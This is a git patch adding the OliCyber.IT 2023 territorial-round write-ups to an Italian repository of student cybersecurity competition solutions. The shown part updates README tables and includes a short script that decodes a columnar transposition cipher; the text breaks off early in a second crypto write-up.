From 5e9b58690f8c142d3ba92cccec6079fd746ba6b5 Mon Sep 17 00:00:00 2001 From: Gaspare Ferraro Date: Mon, 20 Mar 2023 10:25:30 +0100 Subject: [PATCH] OliCyberIT 2023 - Selezione territoriale - Writeups --- 2021-nazionale/README.md | 36 +++---- 2022-nazionale/README.md | 36 +++---- 2022-nazionale/misc1.md | 2 +- 2022-territoriale/README.md | 26 ++--- 2023-camp-1/README.md | 26 ++--- 2023-camp-2/README.md | 26 ++--- 2023-camp-3/README.md | 26 ++--- 2023-territoriale/README.md | 17 +++ 2023-territoriale/crypto1.md | 27 +++++ 2023-territoriale/crypto2.md | 45 ++++++++ 2023-territoriale/crypto3.md | 31 ++++++ 2023-territoriale/misc1.md | 135 +++++++++++++++++++++++ 2023-territoriale/network1.md | 33 ++++++ 2023-territoriale/software1.md | 31 ++++++ 2023-territoriale/software2.md | 39 +++++++ 2023-territoriale/software3.md | 98 +++++++++++++++++ 2023-territoriale/web1.md | 32 ++++++ 2023-territoriale/web2.md | 28 +++++ 2023-territoriale/web3.md | 76 +++++++++++++ README.md | 192 ++++++++++++++++++--------------- 20 files changed, 785 insertions(+), 177 deletions(-) create mode 100644 2023-territoriale/README.md create mode 100644 2023-territoriale/crypto1.md create mode 100644 2023-territoriale/crypto2.md create mode 100644 2023-territoriale/crypto3.md create mode 100644 2023-territoriale/misc1.md create mode 100644 2023-territoriale/network1.md create mode 100644 2023-territoriale/software1.md create mode 100644 2023-territoriale/software2.md create mode 100644 2023-territoriale/software3.md create mode 100644 2023-territoriale/web1.md create mode 100644 2023-territoriale/web2.md create mode 100644 2023-territoriale/web3.md diff --git a/2021-nazionale/README.md b/2021-nazionale/README.md index 7dbcf8c..8b78e6c 100644 --- a/2021-nazionale/README.md +++ b/2021-nazionale/README.md @@ -2,21 +2,21 @@ Writeups ufficiali delle challenge proposte alla competizione nazionale nell'edizione 2021 del progetto [OliCyber.IT](https://olicyber.it/) -| # | categoria | challenge | writeup | solves | autore | -| --: | :-------- | :---------------------------------------------------------------------------------------------- | :--------------------- | -----: | :----------- | -| 1 | binary | [La settimana enigmistica](https://training.olicyber.it/challenges#challenge-144) | [writeup](binary1.md) | 23 | @Alberto247 | -| 2 | binary | [Algoritmo Sicuro e Resistente](https://training.olicyber.it/challenges#challenge-145) | [writeup](binary2.md) | 19 | @Alberto247 | -| 3 | binary | [I predetatori dell'indirizzo perduto 1](https://training.olicyber.it/challenges#challenge-146) | [writeup](binary3.md) | 14 | @OrsoBruno96 | -| 4 | binary | [I predetatori dell'indirizzo perduto 2](https://training.olicyber.it/challenges#challenge-147) | [writeup](binary4.md) | 10 | @OrsoBruno96 | -| 5 | crypto | [Un po' di storia](https://training.olicyber.it/challenges#challenge-136) | [writeup](crypto1.md) | 69 | @Drago | -| 6 | crypto | [Small bits of RSA](https://training.olicyber.it/challenges#challenge-137) | [writeup](crypto2.md) | 33 | @Drago | -| 7 | crypto | [SoundOfSystem](https://training.olicyber.it/challenges#challenge-138) | [writeup](crypto3.md) | 7 | @Drago | -| 8 | crypto | [Large bits of RSA](https://training.olicyber.it/challenges#challenge-139) | [writeup](crypto4.md) | 0 | @Drago | -| 9 | misc | [Il test di ammissione](https://training.olicyber.it/challenges#challenge-140) | [writeup](misc1.md) | 60 | @matpr | -| 10 | misc | [Il test di ammissione 2](https://training.olicyber.it/challenges#challenge-141) | [writeup](misc2.md) | 1 | @matpr | -| 11 | network | [tr(A)Is](https://training.olicyber.it/challenges#challenge-142) | [writeup](network1.md) | 111 | @lorenz | -| 12 | network | [Dispositivo Non Sicuro](https://training.olicyber.it/challenges#challenge-143) | [writeup](network2.md) | 25 | @lorenz | -| 13 | web | [Fritto Misto 1](https://training.olicyber.it/challenges#challenge-148) | [writeup](web1.md) | 37 | @Maxpnl | -| 14 | web | [Fritto Misto 2](https://training.olicyber.it/challenges#challenge-149) | [writeup](web2.md) | 4 | @Maxpnl | -| 15 | web | [FlagDownloader 1](https://training.olicyber.it/challenges#challenge-150) | [writeup](web3.md) | 91 | @xato | -| 16 | web | [FlagDownloader 2](https://training.olicyber.it/challenges#challenge-151) | [writeup](web4.md) | 4 | @xato | +| # | categoria | challenge | writeup | risoluzioni | autore | +| --: | :-------- | :---------------------------------------------------------------------------------------------- | :--------------------- | ----------: | :----------- | +| 1 | binary | [La settimana enigmistica](https://training.olicyber.it/challenges#challenge-144) | [writeup](binary1.md) | 23 | @Alberto247 | +| 2 | binary | [Algoritmo Sicuro e Resistente](https://training.olicyber.it/challenges#challenge-145) | [writeup](binary2.md) | 19 | @Alberto247 | +| 3 | binary | [I predetatori dell'indirizzo perduto 1](https://training.olicyber.it/challenges#challenge-146) | [writeup](binary3.md) | 14 | @OrsoBruno96 | +| 4 | binary | [I predetatori dell'indirizzo perduto 2](https://training.olicyber.it/challenges#challenge-147) | [writeup](binary4.md) | 10 | @OrsoBruno96 | +| 5 | crypto | [Un po' di storia](https://training.olicyber.it/challenges#challenge-136) | [writeup](crypto1.md) | 69 | @Drago | +| 6 | crypto | [Small bits of RSA](https://training.olicyber.it/challenges#challenge-137) | [writeup](crypto2.md) | 33 | @Drago | +| 7 | crypto | [SoundOfSystem](https://training.olicyber.it/challenges#challenge-138) | [writeup](crypto3.md) | 7 | @Drago | +| 8 | crypto | [Large bits of RSA](https://training.olicyber.it/challenges#challenge-139) | [writeup](crypto4.md) | 0 | @Drago | +| 9 | misc | [Il test di ammissione](https://training.olicyber.it/challenges#challenge-140) | [writeup](misc1.md) | 60 | @matpr | +| 10 | misc | [Il test di ammissione 2](https://training.olicyber.it/challenges#challenge-141) | [writeup](misc2.md) | 1 | @matpr | +| 11 | network | [tr(A)Is](https://training.olicyber.it/challenges#challenge-142) | [writeup](network1.md) | 111 | @lorenz | +| 12 | network | [Dispositivo Non Sicuro](https://training.olicyber.it/challenges#challenge-143) | [writeup](network2.md) | 25 | @lorenz | +| 13 | web | [Fritto Misto 1](https://training.olicyber.it/challenges#challenge-148) | [writeup](web1.md) | 37 | @Maxpnl | +| 14 | web | [Fritto Misto 2](https://training.olicyber.it/challenges#challenge-149) | [writeup](web2.md) | 4 | @Maxpnl | +| 15 | web | [FlagDownloader 1](https://training.olicyber.it/challenges#challenge-150) | [writeup](web3.md) | 91 | @xato | +| 16 | web | [FlagDownloader 2](https://training.olicyber.it/challenges#challenge-151) | [writeup](web4.md) | 4 | @xato | diff --git a/2022-nazionale/README.md b/2022-nazionale/README.md index 27170ff..e3f579a 100644 --- a/2022-nazionale/README.md +++ b/2022-nazionale/README.md @@ -2,21 +2,21 @@ Writeups ufficiali delle challenge proposte alla competizione nazionale nell'edizione 2022 del progetto [OliCyber.IT](https://olicyber.it/) -| # | categoria | challenge | writeup | solves | autore | -| --: | :-------- | :-------------------------------------------------------------------------------- | :---------------------- | -----: | :----------- | -| 1 | binary | [Dati Privati](https://training.olicyber.it/challenges#challenge-291) | [writeup](binary1.md) | 7 | @nick0ve | -| 2 | binary | [Frontdoor 1](https://training.olicyber.it/challenges#challenge-292) | [writeup](binary2-3.md) | 3 | @Alberto247 | -| 3 | binary | [Frontdoor 2](https://training.olicyber.it/challenges#challenge-293) | [writeup](binary2-3.md) | 3 | @Alberto247 | -| 4 | binary | [Amatriciana](https://training.olicyber.it/challenges#challenge-294) | [writeup](binary4.md) | 4 | @OrsoBruno96 | -| 5 | crypto | [OTP-as-a-Service 1](https://training.olicyber.it/challenges#challenge-295) | [writeup](crypto1.md) | 45 | @Drago | -| 6 | crypto | [Rompi Schemi Asimmetrici](https://training.olicyber.it/challenges#challenge-296) | [writeup](crypto2.md) | 38 | @Drago | -| 7 | crypto | [OTP-as-a-Service 2](https://training.olicyber.it/challenges#challenge-297) | [writeup](crypto3.md) | 10 | @Drago | -| 8 | crypto | [RSwAp](https://training.olicyber.it/challenges#challenge-298) | [writeup](crypto4.md) | 3 | @mr96 | -| 9 | misc | [GGOL](https://training.olicyber.it/challenges#challenge-299) | [writeup](misc1.md) | 6 | @lorenz | -| 10 | misc | [GGOL2](https://training.olicyber.it/challenges#challenge-300) | [writeup](misc2.md) | 2 | @lorenz | -| 11 | network | [SNECC 1](https://training.olicyber.it/challenges#challenge-301) | [writeup](network1.md) | 87 | @matpro | -| 12 | network | [SNECC 2](https://training.olicyber.it/challenges#challenge-302) | [writeup](network2.md) | 22 | @matpro | -| 13 | web | [BibboDB](https://training.olicyber.it/challenges#challenge-303) | [writeup](web1.md) | 32 | @xato | -| 14 | web | [Private Notes](https://training.olicyber.it/challenges#challenge-304) | [writeup](web2.md) | 2 | @xato | -| 15 | web | [Bibvault 1](https://training.olicyber.it/challenges#challenge-305) | [writeup](web3.md) | 9 | @maxpnl | -| 16 | web | [Bibvault^2](https://training.olicyber.it/challenges#challenge-306) | [writeup](web4.md) | 5 | @maxpnl | +| # | categoria | challenge | writeup | risoluzioni | autore | +| --: | :-------- | :-------------------------------------------------------------------------------- | :---------------------- | ----------: | :----------- | +| 1 | binary | [Dati Privati](https://training.olicyber.it/challenges#challenge-291) | [writeup](binary1.md) | 7 | @nick0ve | +| 2 | binary | [Frontdoor 1](https://training.olicyber.it/challenges#challenge-292) | [writeup](binary2-3.md) | 3 | @Alberto247 | +| 3 | binary | [Frontdoor 2](https://training.olicyber.it/challenges#challenge-293) | [writeup](binary2-3.md) | 3 | @Alberto247 | +| 4 | binary | [Amatriciana](https://training.olicyber.it/challenges#challenge-294) | [writeup](binary4.md) | 4 | @OrsoBruno96 | +| 5 | crypto | [OTP-as-a-Service 1](https://training.olicyber.it/challenges#challenge-295) | [writeup](crypto1.md) | 45 | @Drago | +| 6 | crypto | [Rompi Schemi Asimmetrici](https://training.olicyber.it/challenges#challenge-296) | [writeup](crypto2.md) | 38 | @Drago | +| 7 | crypto | [OTP-as-a-Service 2](https://training.olicyber.it/challenges#challenge-297) | [writeup](crypto3.md) | 10 | @Drago | +| 8 | crypto | [RSwAp](https://training.olicyber.it/challenges#challenge-298) | [writeup](crypto4.md) | 3 | @mr96 | +| 9 | misc | [GGOL](https://training.olicyber.it/challenges#challenge-299) | [writeup](misc1.md) | 6 | @lorenz | +| 10 | misc | [GGOL2](https://training.olicyber.it/challenges#challenge-300) | [writeup](misc2.md) | 2 | @lorenz | +| 11 | network | [SNECC 1](https://training.olicyber.it/challenges#challenge-301) | [writeup](network1.md) | 87 | @matpro | +| 12 | network | [SNECC 2](https://training.olicyber.it/challenges#challenge-302) | [writeup](network2.md) | 22 | @matpro | +| 13 | web | [BibboDB](https://training.olicyber.it/challenges#challenge-303) | [writeup](web1.md) | 32 | @xato | +| 14 | web | [Private Notes](https://training.olicyber.it/challenges#challenge-304) | [writeup](web2.md) | 2 | @xato | +| 15 | web | [Bibvault 1](https://training.olicyber.it/challenges#challenge-305) | [writeup](web3.md) | 9 | @maxpnl | +| 16 | web | [Bibvault^2](https://training.olicyber.it/challenges#challenge-306) | [writeup](web4.md) | 5 | @maxpnl | diff --git a/2022-nazionale/misc1.md b/2022-nazionale/misc1.md index c6de5f7..ac084c7 100644 --- a/2022-nazionale/misc1.md +++ b/2022-nazionale/misc1.md @@ -40,7 +40,7 @@ else: c00, c01, c11, c10 = c00 ^ 1, c01 ^ 1, c11 ^ 1, c10 ^ 1 ``` -Questo è il risultato renderizzando ogni step della soluzine: +Questo è il risultato renderizzando ogni step della soluzione: ![soluzione](attachments/solution.gif) diff --git a/2022-territoriale/README.md b/2022-territoriale/README.md index d32a070..97ff9a3 100644 --- a/2022-territoriale/README.md +++ b/2022-territoriale/README.md @@ -1,16 +1,16 @@ -# OliCyber.IT 2022 - Competizione territoriale +# OliCyber.IT 2022 - Selezione territoriale Writeups ufficiali delle challenge proposte selezione territoriale nell'edizione 2022 del progetto [OliCyber.IT](https://olicyber.it/) -| # | categoria | challenge | writeup | solves | Owner | -| --: | :-------- | :-------------------------------------------------------------------------------- | :--------------------- | -----: | :----------- | -| 1 | binary | [Scure Gate](https://training.olicyber.it/challenges#challenge-228) | [writeup](binary1.md) | 196 | @Alberto247 | -| 2 | binary | [Rererererererecursive](https://training.olicyber.it/challenges#challenge-229) | [writeup](binary2.md) | 10 | @OrsoBruno96 | -| 3 | binary | [Big bird](https://training.olicyber.it/challenges#challenge-230) | [writeup](binary3.md) | 11 | @OrsoBruno96 | -| 4 | crypto | [Worlde](https://training.olicyber.it/challenges#challenge-231) | [writeup](crypto1.md) | 203 | @mr96 | -| 5 | crypto | [The encrypted line](https://training.olicyber.it/challenges#challenge-232) | [writeup](crypto2.md) | 16 | @Drago | -| 6 | crypto | [babyoracle](https://training.olicyber.it/challenges#challenge-233) | [writeup](crypto3.md) | 7 | @Drago/mr96 | -| 7 | misc | [Do you believe in magic?](https://training.olicyber.it/challenges#challenge-234) | [writeup](misc1.md) | 155 | @lorenz | -| 8 | network | [Daring New State](https://training.olicyber.it/challenges#challenge-235) | [writeup](network1.md) | 54 | @matpro | -| 9 | web | [Flag Pass](https://training.olicyber.it/challenges#challenge-236) | [writeup](web1.md) | 153 | @xato | -| 10 | web | [EasyShop](https://training.olicyber.it/challenges#challenge-237) | [writeup](web2.md) | 12 | @Maxpnl | +| # | categoria | challenge | writeup | risoluzioni | autore | +| --: | :-------- | :-------------------------------------------------------------------------------- | :--------------------- | ----------: | :----------- | +| 1 | binary | [Scure Gate](https://training.olicyber.it/challenges#challenge-228) | [writeup](binary1.md) | 196 | @Alberto247 | +| 2 | binary | [Rererererererecursive](https://training.olicyber.it/challenges#challenge-229) | [writeup](binary2.md) | 10 | @OrsoBruno96 | +| 3 | binary | [Big bird](https://training.olicyber.it/challenges#challenge-230) | [writeup](binary3.md) | 11 | @OrsoBruno96 | +| 4 | crypto | [Worlde](https://training.olicyber.it/challenges#challenge-231) | [writeup](crypto1.md) | 203 | @mr96 | +| 5 | crypto | [The encrypted line](https://training.olicyber.it/challenges#challenge-232) | [writeup](crypto2.md) | 16 | @Drago | +| 6 | crypto | [babyoracle](https://training.olicyber.it/challenges#challenge-233) | [writeup](crypto3.md) | 7 | @Drago/mr96 | +| 7 | misc | [Do you believe in magic?](https://training.olicyber.it/challenges#challenge-234) | [writeup](misc1.md) | 155 | @lorenz | +| 8 | network | [Daring New State](https://training.olicyber.it/challenges#challenge-235) | [writeup](network1.md) | 54 | @matpro | +| 9 | web | [Flag Pass](https://training.olicyber.it/challenges#challenge-236) | [writeup](web1.md) | 153 | @xato | +| 10 | web | [EasyShop](https://training.olicyber.it/challenges#challenge-237) | [writeup](web2.md) | 12 | @Maxpnl | diff --git a/2023-camp-1/README.md b/2023-camp-1/README.md index 5656793..a99bcf2 100644 --- a/2023-camp-1/README.md +++ b/2023-camp-1/README.md @@ -2,16 +2,16 @@ Writeups ufficiali delle challenge proposte al primo training camp dell'edizione 2023 del progetto [OliCyber.IT](https://olicyber.it/) -| # | categoria | challenge | writeup | solves | autore | -| --: | :-------- | :------------------------------------------------------------------------------- | :---------------------- | -----: | :------------------------------ | -| 1 | misc | [IHC - I Hate Captcha!](https://training.olicyber.it/challenges#challenge-364) | [writeup](misc1.md) | 37 | Alessandro Pizzorni <@Pixel> | -| 2 | network | [Secure Co. Login](https://training.olicyber.it/challenges#challenge-365) | [writeup](network1.md) | 8 | Alberto Carboneri <@Alberto247> | -| 3 | crypto | [Cifrario a caso](https://training.olicyber.it/challenges#challenge-361) | [writeup](crypto1.md) | 42 | Lorenzo Demeio <@Devrar> | -| 4 | crypto | [DH revisited](https://training.olicyber.it/challenges#challenge-362) | [writeup](crypto2.md) | 7 | Francesco Felet <@PhiQuadro> | -| 5 | crypto | [A weird trip to Delphi](https://training.olicyber.it/challenges#challenge-363) | [writeup](crypto3.md) | 4 | Francesco Felet <@PhiQuadro> | -| 6 | binary | [runme](https://training.olicyber.it/challenges#challenge-366) | [writeup](software1.md) | 163 | Mario Del Gaudio <@hdesk> | -| 7 | binary | [flagvault](https://training.olicyber.it/challenges#challenge-367) | [writeup](software2.md) | 40 | Mario Del Gaudio <@hdesk> | -| 8 | binary | [big-overflow](https://training.olicyber.it/challenges#challenge-368) | [writeup](software3.md) | 5 | Mario Del Gaudio <@hdesk> | -| 9 | web | [Gabibbo Says](https://training.olicyber.it/challenges#challenge-369) | [writeup](web1.md) | 195 | Stefano Alberto <@xato> | -| 10 | web | [L'ennesimo login bypass](https://training.olicyber.it/challenges#challenge-370) | [writeup](web2.md) | 28 | Aleandro Prudenzano <@drw0if> | -| 11 | web | [Cloud free tier](https://training.olicyber.it/challenges#challenge-371) | [writeup](web3.md) | 5 | Aleandro Prudenzano <@drw0if> | +| # | categoria | challenge | writeup | risoluzioni | autore | +| --: | :-------- | :------------------------------------------------------------------------------- | :---------------------- | ----------: | :------------------------------ | +| 1 | misc | [IHC - I Hate Captcha!](https://training.olicyber.it/challenges#challenge-364) | [writeup](misc1.md) | 37 | Alessandro Pizzorni <@Pixel> | +| 2 | network | [Secure Co. Login](https://training.olicyber.it/challenges#challenge-365) | [writeup](network1.md) | 8 | Alberto Carboneri <@Alberto247> | +| 3 | crypto | [Cifrario a caso](https://training.olicyber.it/challenges#challenge-361) | [writeup](crypto1.md) | 42 | Lorenzo Demeio <@Devrar> | +| 4 | crypto | [DH revisited](https://training.olicyber.it/challenges#challenge-362) | [writeup](crypto2.md) | 7 | Francesco Felet <@PhiQuadro> | +| 5 | crypto | [A weird trip to Delphi](https://training.olicyber.it/challenges#challenge-363) | [writeup](crypto3.md) | 4 | Francesco Felet <@PhiQuadro> | +| 6 | binary | [runme](https://training.olicyber.it/challenges#challenge-366) | [writeup](software1.md) | 163 | Mario Del Gaudio <@hdesk> | +| 7 | binary | [flagvault](https://training.olicyber.it/challenges#challenge-367) | [writeup](software2.md) | 40 | Mario Del Gaudio <@hdesk> | +| 8 | binary | [big-overflow](https://training.olicyber.it/challenges#challenge-368) | [writeup](software3.md) | 5 | Mario Del Gaudio <@hdesk> | +| 9 | web | [Gabibbo Says](https://training.olicyber.it/challenges#challenge-369) | [writeup](web1.md) | 195 | Stefano Alberto <@xato> | +| 10 | web | [L'ennesimo login bypass](https://training.olicyber.it/challenges#challenge-370) | [writeup](web2.md) | 28 | Aleandro Prudenzano <@drw0if> | +| 11 | web | [Cloud free tier](https://training.olicyber.it/challenges#challenge-371) | [writeup](web3.md) | 5 | Aleandro Prudenzano <@drw0if> | diff --git a/2023-camp-2/README.md b/2023-camp-2/README.md index 530b321..41ec6a0 100644 --- a/2023-camp-2/README.md +++ b/2023-camp-2/README.md @@ -2,16 +2,16 @@ Writeups ufficiali delle challenge proposte al secondo training camp dell'edizione 2023 del progetto [OliCyber.IT](https://olicyber.it/) -| # | categoria | challenge | writeup | solves | autore | -| --: | :-------- | :------------------------------------------------------------------------------------------- | :---------------------- | -----: | :------------------------------ | -| 1 | misc | [Gab-chan.png](https://training.olicyber.it/challenges#challenge-375) | [writeup](misc1.md) | 5 | Alessandro Pizzorni <@Pixel> | -| 2 | network | [SSH login](https://training.olicyber.it/challenges#challenge-376) | [writeup](network1.md) | 207 | Alberto Carboneri <@Alberto247> | -| 3 | crypto | [Last minute](https://training.olicyber.it/challenges#challenge-372) | [writeup](crypto1.md) | 178 | Lorenzo Demeio <@Devrar> | -| 4 | crypto | [Il solito servizio](https://training.olicyber.it/challenges#challenge-374) | [writeup](crypto2.md) | 40 | Lorenzo Demeio <@Devrar> | -| 5 | crypto | [Sempre più primi, sempre più strani](https://training.olicyber.it/challenges#challenge-373) | [writeup](crypto3.md) | 2 | Lorenzo Demeio <@Devrar> | -| 6 | binary | [implementation defined](https://training.olicyber.it/challenges#challenge-379) | [writeup](software1.md) | 21 | Mario Del Gaudio <@hdesk> | -| 7 | binary | [strong-as-md5](https://training.olicyber.it/challenges#challenge-377) | [writeup](software2.md) | 20 | Mario Del Gaudio <@hdesk> | -| 8 | binary | [baby-printf](https://training.olicyber.it/challenges#challenge-378) | [writeup](software3.md) | 6 | Mario Del Gaudio <@hdesk> | -| 9 | web | [MEME SHOP](https://training.olicyber.it/challenges#challenge-380) | [writeup](web1.md) | 129 | Aleandro Prudenzano <@drw0if> | -| 10 | web | [MEME SHOP review](https://training.olicyber.it/challenges#challenge-381) | [writeup](web2.md) | 33 | Aleandro Prudenzano <@drw0if> | -| 11 | web | [INVALSI](https://training.olicyber.it/challenges#challenge-382) | [writeup](web3.md) | 18 | Aleandro Prudenzano <@drw0if> | +| # | categoria | challenge | writeup | risoluzioni | autore | +| --: | :-------- | :------------------------------------------------------------------------------------------- | :---------------------- | ----------: | :------------------------------ | +| 1 | misc | [Gab-chan.png](https://training.olicyber.it/challenges#challenge-375) | [writeup](misc1.md) | 5 | Alessandro Pizzorni <@Pixel> | +| 2 | network | [SSH login](https://training.olicyber.it/challenges#challenge-376) | [writeup](network1.md) | 207 | Alberto Carboneri <@Alberto247> | +| 3 | crypto | [Last minute](https://training.olicyber.it/challenges#challenge-372) | [writeup](crypto1.md) | 178 | Lorenzo Demeio <@Devrar> | +| 4 | crypto | [Il solito servizio](https://training.olicyber.it/challenges#challenge-374) | [writeup](crypto2.md) | 40 | Lorenzo Demeio <@Devrar> | +| 5 | crypto | [Sempre più primi, sempre più strani](https://training.olicyber.it/challenges#challenge-373) | [writeup](crypto3.md) | 2 | Lorenzo Demeio <@Devrar> | +| 6 | binary | [implementation defined](https://training.olicyber.it/challenges#challenge-379) | [writeup](software1.md) | 21 | Mario Del Gaudio <@hdesk> | +| 7 | binary | [strong-as-md5](https://training.olicyber.it/challenges#challenge-377) | [writeup](software2.md) | 20 | Mario Del Gaudio <@hdesk> | +| 8 | binary | [baby-printf](https://training.olicyber.it/challenges#challenge-378) | [writeup](software3.md) | 6 | Mario Del Gaudio <@hdesk> | +| 9 | web | [MEME SHOP](https://training.olicyber.it/challenges#challenge-380) | [writeup](web1.md) | 129 | Aleandro Prudenzano <@drw0if> | +| 10 | web | [MEME SHOP review](https://training.olicyber.it/challenges#challenge-381) | [writeup](web2.md) | 33 | Aleandro Prudenzano <@drw0if> | +| 11 | web | [INVALSI](https://training.olicyber.it/challenges#challenge-382) | [writeup](web3.md) | 18 | Aleandro Prudenzano <@drw0if> | diff --git a/2023-camp-3/README.md b/2023-camp-3/README.md index 9f4f921..da38130 100644 --- a/2023-camp-3/README.md +++ b/2023-camp-3/README.md @@ -2,16 +2,16 @@ Writeups ufficiali delle challenge proposte al terzo training camp dell'edizione 2023 del progetto [OliCyber.IT](https://olicyber.it/) -| # | categoria | challenge | writeup | solves | autore | -| --: | :-------- | :--------------------------------------------------------------------------------------- | :---------------------- | -----: | :------------------------------ | -| 1 | misc | [GES - Gabibbo Encoding Standard](https://training.olicyber.it/challenges#challenge-386) | [writeup](misc1.md) | 36 | Alessandro Pizzorni <@Pixel> | -| 2 | network | [Furto di dati](https://training.olicyber.it/challenges#challenge-387) | [writeup](network1.md) | 2 | Alberto Carboneri <@Alberto247> | -| 3 | crypto | [Enterprise Encryption](https://training.olicyber.it/challenges#challenge-385) | [writeup](crypto1.md) | 86 | Francesco Felet <@PhiQuadro> | -| 4 | crypto | [Xorn't](https://training.olicyber.it/challenges#challenge-384) | [writeup](crypto2.md) | 8 | Francesco Felet <@PhiQuadro> | -| 5 | crypto | [PhiQuadro](https://training.olicyber.it/challenges#challenge-383) | [writeup](crypto3.md) | 1 | Francesco Felet <@PhiQuadro> | -| 6 | binary | [obbibag](https://training.olicyber.it/challenges#challenge-390) | [writeup](software1.md) | 153 | Marco Bonelli <@mebeim> | -| 7 | binary | [lil-overflow](https://training.olicyber.it/challenges#challenge-388) | [writeup](software2.md) | 41 | Mario Del Gaudio <@hdesk> | -| 8 | binary | [baby-encryption](https://training.olicyber.it/challenges#challenge-389) | [writeup](software3.md) | 15 | Mario Del Gaudio <@hdesk> | -| 9 | web | [È tutto solo una convenzione](https://training.olicyber.it/challenges#challenge-393) | [writeup](web1.md) | 161 | Lorenzo Leonardini <@pianka> | -| 10 | web | [Pincode](https://training.olicyber.it/challenges#challenge-392) | [writeup](web2.md) | 76 | Aleandro Prudenzano <@drw0if> | -| 11 | web | [Gabibbo Kontakte](https://training.olicyber.it/challenges#challenge-391) | [writeup](web3.md) | 10 | Aleandro Prudenzano <@drw0if> | +| # | categoria | challenge | writeup | risoluzioni | autore | +| --: | :-------- | :--------------------------------------------------------------------------------------- | :---------------------- | ----------: | :------------------------------ | +| 1 | misc | [GES - Gabibbo Encoding Standard](https://training.olicyber.it/challenges#challenge-386) | [writeup](misc1.md) | 36 | Alessandro Pizzorni <@Pixel> | +| 2 | network | [Furto di dati](https://training.olicyber.it/challenges#challenge-387) | [writeup](network1.md) | 2 | Alberto Carboneri <@Alberto247> | +| 3 | crypto | [Enterprise Encryption](https://training.olicyber.it/challenges#challenge-385) | [writeup](crypto1.md) | 86 | Francesco Felet <@PhiQuadro> | +| 4 | crypto | [Xorn't](https://training.olicyber.it/challenges#challenge-384) | [writeup](crypto2.md) | 8 | Francesco Felet <@PhiQuadro> | +| 5 | crypto | [PhiQuadro](https://training.olicyber.it/challenges#challenge-383) | [writeup](crypto3.md) | 1 | Francesco Felet <@PhiQuadro> | +| 6 | binary | [obbibag](https://training.olicyber.it/challenges#challenge-390) | [writeup](software1.md) | 153 | Marco Bonelli <@mebeim> | +| 7 | binary | [lil-overflow](https://training.olicyber.it/challenges#challenge-388) | [writeup](software2.md) | 41 | Mario Del Gaudio <@hdesk> | +| 8 | binary | [baby-encryption](https://training.olicyber.it/challenges#challenge-389) | [writeup](software3.md) | 15 | Mario Del Gaudio <@hdesk> | +| 9 | web | [È tutto solo una convenzione](https://training.olicyber.it/challenges#challenge-393) | [writeup](web1.md) | 161 | Lorenzo Leonardini <@pianka> | +| 10 | web | [Pincode](https://training.olicyber.it/challenges#challenge-392) | [writeup](web2.md) | 76 | Aleandro Prudenzano <@drw0if> | +| 11 | web | [Gabibbo Kontakte](https://training.olicyber.it/challenges#challenge-391) | [writeup](web3.md) | 10 | Aleandro Prudenzano <@drw0if> | diff --git a/2023-territoriale/README.md b/2023-territoriale/README.md new file mode 100644 index 0000000..0da8e59 --- /dev/null +++ b/2023-territoriale/README.md @@ -0,0 +1,17 @@ +# OliCyber.IT 2023 - Selezione territoriale + +Writeups ufficiali delle challenge proposte selezione territoriale nell'edizione 2023 del progetto [OliCyber.IT](https://olicyber.it/) + +| # | categoria | challenge | writeup | risoluzioni | autore | +| --: | :-------- | :-------------------------------------------------------------------------- | :---------------------- | ----------: | :---------------------------------------------------- | +| 1 | network | [Flag interceptor](https://training.olicyber.it/challenges#) | [writeup](network1.md) | 176 | Matteo Protopapa <@matpro> | +| 2 | misc | [Gabibbo Innovazione Tecnologica](https://training.olicyber.it/challenges#) | [writeup](misc1.md) | 99 | Lorenzo Catoni <@lorenz> | +| 3 | crypto | [Classicamente python](https://training.olicyber.it/challenges#) | [writeup](crypto1.md) | 381 | Riccardo Zanotto <@Drago> | +| 4 | crypto | [IndovinANDo segreti](https://training.olicyber.it/challenges#) | [writeup](crypto2.md) | 70 | Riccardo Zanotto <@Drago> | +| 5 | crypto | [Squared](https://training.olicyber.it/challenges#) | [writeup](crypto3.md) | 3 | Matteo Rossi <@mr96> | +| 6 | binary | [Frasi basate](https://training.olicyber.it/challenges#) | [writeup](software1.md) | 336 | Fabio Zoratti <@OrsoBruno96>, Nicola Vella <@nick0ve> | +| 7 | binary | [Super-licenza](https://training.olicyber.it/challenges#) | [writeup](software2.md) | 89 | Fabio Zoratti <@OrsoBruno96>, Nicola Vella <@nick0ve> | +| 8 | binary | [Fritto disordinato](https://training.olicyber.it/challenges#) | [writeup](software3.md) | 7 | Fabio Zoratti <@OrsoBruno96>, Nicola Vella <@nick0ve> | +| 9 | web | [Gabibbo's treasure](https://training.olicyber.it/challenges#) | [writeup](web1.md) | 550 | Stefano Alberto <@Xato> | +| 10 | web | [Gabibbo's friend](https://training.olicyber.it/challenges#) | [writeup](web2.md) | 306 | Mattia Furlani <@Maxpnl>, Stefano Alberto <@Xato> | +| 11 | web | [debug_disabilitato](https://training.olicyber.it/challenges#) | [writeup](web3.md) | 8 | Aleandro Prudenzano <@drw0if> | diff --git a/2023-territoriale/crypto1.md b/2023-territoriale/crypto1.md new file mode 100644 index 0000000..31a3272 --- /dev/null +++ b/2023-territoriale/crypto1.md @@ -0,0 +1,27 @@ +# OliCyber.IT 2023 - Selezione territoriale + +## [crypto-1] Classicamente python (381 risoluzioni) + +La challenge cifra la flag con un columnar transposition cipher. + +### Soluzione + +Possiamo notare che la flag viene paddata fino ad avere lunghezza multipla di 4, e poi si creano quattro blocchi. +Ogni blocco contiene i caratteri in posizione i, i+4, i+8, etc. Questo corrisponde a scrivere la flag in una tabella con 4 colonne scrivendola riga per riga, e poi leggendola per colonne. + +Nel testo cifrato, la prima colonna corrisponde al primo quarto di testo `enc[:len(enc)//4]` e così via. +Per ottenere la flag basta dunque prendere i quattro pezzi del testo cifrato, metterli in una "tabella" come colonne, e poi leggere riga per riga. + +### Exploit + +```python +enc = "f{anuiraaso_lfltnfi_sin_aime_rotpze_gne_ca_roi}_" + +n = len(enc)//4 +cols = [enc[n*i:n*(i+1)] for i in range(4)] + +flag = "" +for i in range(n): + flag += "".join(col[i] for col in cols) +print(flag) +``` diff --git a/2023-territoriale/crypto2.md b/2023-territoriale/crypto2.md new file mode 100644 index 0000000..e6a8bae --- /dev/null +++ b/2023-territoriale/crypto2.md @@ -0,0 +1,45 @@ +# OliCyber.IT 2023 - Selezione territoriale + +## [crypto-2] IndovinANDo segreti (70 risoluzioni) + +La challenge chiede di ricostruire una stringa segreta `s` partendo dai risultati di `s & P[i]`, dove `P` è una permutazione dei 256 possibili valori di un byte. + +### Soluzione + +La prima osservazione è che per ogni carattere `c` della stringa vale che `c & 0xff == c`; se riuscissimo quindi a fare la query tale per cui `P[i] = 